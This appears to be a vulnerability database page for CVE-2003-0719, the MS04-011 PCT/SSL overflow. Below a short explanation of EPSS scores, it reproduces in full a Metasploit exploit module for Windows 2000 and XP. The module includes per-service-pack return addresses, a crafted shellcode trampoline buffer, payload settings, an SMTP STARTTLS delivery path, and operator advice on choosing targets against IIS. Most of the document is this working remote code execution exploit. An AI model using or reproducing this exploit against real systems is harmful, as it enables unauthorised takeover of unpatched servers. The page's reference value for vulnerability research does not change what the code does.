CVE-2003-0719 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

This code is based on Johnny Cyberpunk's THC release and has been tested against Windows 2000 and Windows XP. To use this module, specify the remote port of any SSL service, or the port and protocol of an application that uses SSL. The only application protocol supported at this time is SMTP. You only have one chance to select the correct target, if you are attacking IIS, you may want to try one of the other exploits first (WebDAV). If WebDAV does not work, this more than likely means that this is either Windows 2000 SP4+ or Windows XP (IIS 5.0 vs IIS 5.1). Using the wrong target may not result in an immediate crash of the remote system. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2003-0719'], [ 'OSVDB', '5250'], [ 'BID', '10116'], [ 'MSB', 'MS04-011'], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 1800, 'BadChars' => "", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Windows 2000 SP4', { 'Platform' => 'win', 'Ret' => 0x67419ce8, # jmp [esp + 0x6c] }, ], [ 'Windows 2000 SP3', { 'Platform' => 'win', 'Ret' => 0x67419e1d, # jmp [esp + 0x6c] }, ], [ 'Windows 2000 SP2', { 'Platform' => 'win', 'Ret' => 0x6741a426, # jmp [esp + 0x6c] }, ], [ 'Windows 2000 SP1', { 'Platform' => 'win', 'Ret' => 0x77e4f44d, # jmp [ebx + 0x14] }, ], [ 'Windows 2000 SP0', { 'Platform' => 'win', 'Ret' => 0x7658a6cb, # jmp [ebx + 0x0e] }, ], [ 'Windows XP SP0', { 'Platform' => 'win', 'Ret' => 0x0ffb7de9, # jmp [esp + 0x6c] }, ], [ 'Windows XP SP1', { 'Platform' => 'win', 'Ret' => 0x0ffb832f, # jmp [esp + 0x6c] }, ], ], 'DisclosureDate' => 'Apr 13 2004', 'DefaultTarget' => 0)) register_options( [ OptString.new('PROTO', [true, "The application protocol: raw or smtp", "raw"]) ], self.class) end def exploit connect print_status("Trying target #{target.name} with proto #{datastore['PROTO']}...") # This is a heap ptr to the ssl request # ... and just happens to not die ... # Thanks to CORE and Halvar # # 80620101 => and byte ptr [esi+1], 0x2 # bd00010001 => mov ebp, 0x1000100 # 0016 => add [esi], dl # 8f8201000000 => pop [esi+1] # eb0f => jmp short 11 to shellcode buf = "\x80\x66\x01\x02\xbd\x00\x01\x00\x01\x00\x16\x8f\x86\x01\x00\x00\x00"+ "\xeb\x0f" + 'XXXXXXXXXXX' + [target.ret ^ 0xffffffff].pack('V')+ payload.encoded # Connect to a SMTP service, call STARTTLS if (datastore['PROTO'] == 'smtp') greeting = sock.get_once sock.put('HELO ' + (rand_text_alphanumeric(rand(10)+1)) + "\r\n") resp = sock.get_once sock.put("STARTTLS\r\n") resp = sock.get_once if (resp and resp !~ /^220/) print_status("Warning: this server may not support STARTTLS") end end sock.put(buf) resp = sock.get_once if (resp == "\x00\x00\x01") print_status("The response indicates that the PCT protocol is disabled") end handler disconnect end end
